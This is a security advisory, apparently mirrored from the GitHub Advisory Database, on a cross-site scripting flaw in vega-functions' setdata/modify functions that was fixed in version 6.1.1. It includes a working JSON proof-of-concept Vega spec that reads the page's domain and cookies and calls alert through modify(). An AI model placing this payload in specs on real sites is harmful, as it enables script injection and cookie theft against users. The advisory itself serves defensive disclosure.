`vega-functions` vulnerable to Cross-site Scripting via `setdata` function
Exact source revision recorded 24 Oct 2026 13:17:17 UTC. It does not establish the source's current position. Latest evidence.
osv · GHSA-m9rg-mr6g-75gm
Published### Impact For sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the [public API](https://vega.github.io/vega/docs/expressions/)) could be used to run unintentional javascript (XSS). ### Patches Fixed in vega-functions `6.1.1` ### Workarounds There is no workaround besides upgrading. Using `vega.expressionInterpreter` as described in [CSP safe mode](https://vega.github.io/vega/usage/interpreter/) does not prevent this issue. ### Exploit Proof of Concept Vega's expression `modify()` [function](https://github.com/vega/vega/blob/d8add5819346e5af597d82ef8253742acc0283ba/packages/vega-functions/src/functions/modify.js#L40), used by setdata, allows attacker to control both the method called and the values supplied, which results to XSS . This was a previous POC: ```json { "$schema": "https://vega.github.io/schema/vega/v6.json", "data": [ { "name": "table", "values": [ {"category": "A", "amount": 28} ] } ], "signals": [ { "name": "tooltip", "value": {}, "on": [ {"events": {"type":"timer","throttle":2000}, "update": "setdata('table',[['Domain: '+event.dataflow._el.ownerDocument.domain+' , cookies: '+ event.dataflow._el.ownerDocument.cookie ]])+warn('XSS is here', modify('table',2,3,null,event.dataflow._el.ownerDocument.defaultView.alert,{'tttt':'yyyy'}) )"}, {"events": "rect:pointerout", "update": "{}"} ] } ] } ```
- Source published
- 5 Jan 2026 22:58:07 UTC
- Source modified
- 10 Sep 2026 03:50:33 UTC
- Observed here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Publisher rating · HIGH